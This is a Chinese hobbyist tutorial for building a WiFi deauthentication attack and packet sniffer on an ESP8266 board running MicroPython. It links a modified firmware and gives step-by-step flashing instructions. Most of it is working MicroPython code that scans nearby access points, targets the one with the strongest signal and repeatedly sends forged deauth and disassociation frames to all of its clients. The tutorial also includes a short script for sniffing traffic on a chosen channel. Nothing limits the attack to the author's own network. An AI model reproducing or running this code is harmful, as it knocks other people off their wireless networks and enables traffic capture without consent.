MicroPython实现wifi干扰与抓包

TurnipSmart

　　0x00前言

　　之前做的WIFI攻击实验都是基于arduino环境开发的，最近想尝试一下使用micropython完成deautch（解除认证）攻击。本次开发板使用的还是TPYBoardv202（某宝上有卖，30元），因为它主要的功能就是支持micropython开发。

　　0x01实现原理

　　a)        通过查阅资料和arduino的源码分析，了解到实现攻击其实就是发送IEEE802.11协议解除认证包，根据MAC层帧格式发送自定义的虚假deautch数据包。

　　b)        调用ESP8266SDK中wifi_send_pkt_freedom函数，发送攻击包。

　　0x02攻击构思

　　a)        程序一开始扫描附件的AP。

　　b)        找到信号最强的AP，获取到他的MAC地址(bssid)和信道。

　　c)        将TPYBoardv202切换到同攻击AP相同的信道。

　　d)        使用攻击AP的MAC地址，组合deauth解除认证包发送。

　　0x03编译烧写固件及程序源码

　　1、        编译固件

　　现有的micropython-esp8266固件中，并没有引出wifi_send_pkt_freedom函数，于是

　　我自己动手编译了一次固件，地址：

　　https://github.com/PakchoiFood/micropython-deauth

　　大家可以自行下载烧写使用，如果有的小伙伴想自己编译修改固件的话，请参考：

　　https://github.com/micropython/micropython/tree/master/esp8266

　　需要注意：在编译esp8266-sdk时，注意版本必须是1.3.0版本，否则wifi_send_pkt_freedom函数会一直返回-1失败。

　　下载后解压，文件如下：

　　firmware.bin文件：micropython-esp8266生成的固件。

　　增加的内容：

　　setAttack函数

　　参数：int类型（信道）

　　功能：设置esp8266的信道

　　send_pkt_freedom函数

　　参数：bytes数组（定义的数据包）

　　flash_download_tools_v3.3.6_win.rar：烧写固件的工具。

　　MicroPythonFileUploader.rar：用于将程序下载到TPYBoardv202Flash的工具。

　　main.py文件：程序源码文件，主要实现附件AP的扫描、数据包的组合和调用发送。

1. import time
   
2. import uos
   
3. import wireless
   
4. 
   
5. 
   
6. sta_if=wireless.attack(0)#0：STA 模式
   
7. sta_if.active(True)
   
8. ap_list=sta_if.scan()
   
9. print(ap_list)
   
10. ssid=''
    
11. bssid=''#bssid:AP MAC address
    
12. channel=''#信道
    
13. _client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认
    
14. 
    
15. def deauth(_ap,_client,type,reason):
    
16.     # 0 - 1   type, subtype c0: deauth (a0: disassociate)
    
17.     # 2 - 3   duration (SDK takes care of that)
    
18.     # 4 - 9   reciever (target)
    
19.     # 10 - 15 source (ap)
    
20.     # 16 - 21 BSSID (ap)
    
21.     # 22 - 23 fragment & squence number
    
22.     # 24 - 25 reason code (1 = unspecified reason)
    
23.     packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])
    
24.     for i in range(0,6):
    
25.         packet[4 + i] =_client[i]
    
26.         packet[10 + i] = packet[16 + i] =_ap[i]
    
27.     #set type
    
28.     packet[0] = type;
    
29.     packet[24] = reason
    
30.     result=sta_if.send_pkt_freedom(packet)
    
31.     if result==0:
    
32.         time.sleep_ms(1)
    
33.         return True
    
34.     else:
    
35.         return False
    
36.    
    
37. if __name__=="__main__":
    
38.     max_rssid=0
    
39.     max_id=0
    
40.     num=0
    
41. 
    
42.     #获取信号最强的AP 进行攻击
    
43.     for i in ap_list:
    
44.         if max_rssid==0:
    
45.             max_rssid=i[3]#rssid
    
46.         else:
    
47.             if i[3]>max_rssid:
    
48.                 max_rssid=i[3]
    
49.                 max_id=num
    
50.         num+=1
    
51.     ssid=ap_list[max_id][0]
    
52.     bssid=ap_list[max_id][1]
    
53.     channel=ap_list[max_id][2]
    
54.     print('ssid:',ssid,'-bssid:',bssid)
    
55.     print('-channel:',channel,'-rssid:',max_rssid)
    
56.     sendNum=5000#攻击次数
    
57.    
    
58.     print('******************************')
    
59.     if sta_if.setAttack(channel):
    
60.         print('Set Attack OK')
    
61.         time.sleep_ms(100)
    
62.         print('---deauth runing-----')
    
63.         for i in range(0,sendNum):
    
64.             r_=deauth(bssid, _client, 0xC0, 0x01)
    
65.             if r_:
    
66.                
    
67.                 deauth(bssid, _client, 0xA0, 0x01)
    
68.                 deauth(_client, bssid, 0xC0, 0x01)
    
69.                 deauth(_client, bssid, 0xA0, 0x01)
    
70.                 time.sleep_ms(5)
    
71.             else:
    
72.                 print('---deauth fail-------')
    
73.             time.sleep_ms(5000)
    

复制代码

sniffer文件夹下的main.py实现网络抓包功能。

1. import wireless
   
2. import time
   
3. 
   
4. #可以指定信道1~13
   
5. sniffer=wireless.sniffer(6)
   
6. #0：表示从信道1开始 定时切换信道
   
7. #sniffer=wireless.sniffer(0)
   

复制代码

烧写固件

　　1、        TPYBoardv202使用microUSB数据线接入电脑。查看安装的usb转串的端口。打开电脑的设备管理器（这里是COM57）。

　　2、        解压flash_download_tools_v3.3.6_win.rar，双击运行ESPFlashDownloadTool_v3.3.6.exe。

　　3、选择firmware.bin固件文件，地址0x00000，其他参数根据下图设置。我的COM选择COM57，根据自己的实际端口选择，波特率选择115200。

　　4、点击【START】，界面提示等待上电同步。按住板子上的FLASH键不松，同时按一下RST键复位上电。左侧空白区显示读取的MAC地址，状态显示下载中，此时松开按键即可。

　　5、等待下载完毕，关闭软件退出。

　　下载程序

　　6、解压MicroPythonFileUploader.rar，双击运行MicroPythonFileUploader.exe。

　　此软件需要.NETFramework4.2及以上版本，若打开失败，请安装.NETFramework后再使用。

　　.NETFramework4.5下载地址：http://www.tpyboard.com/download/drive/174.html

　　7、选择COM57，点击【Open】打开串口。

　　8、点击右侧的文件夹图标的按钮，选择main.py文件。

　　9、此时可以点击【Send】，将程序发送给TPYBoardv202。发送成功后，程序自动运行。

　　10、接下来将sniffer下的main.py同样的是方式下载到板子里。（文件会覆盖）

　　打开串口助手，就可以看到esp8266抓包的数据。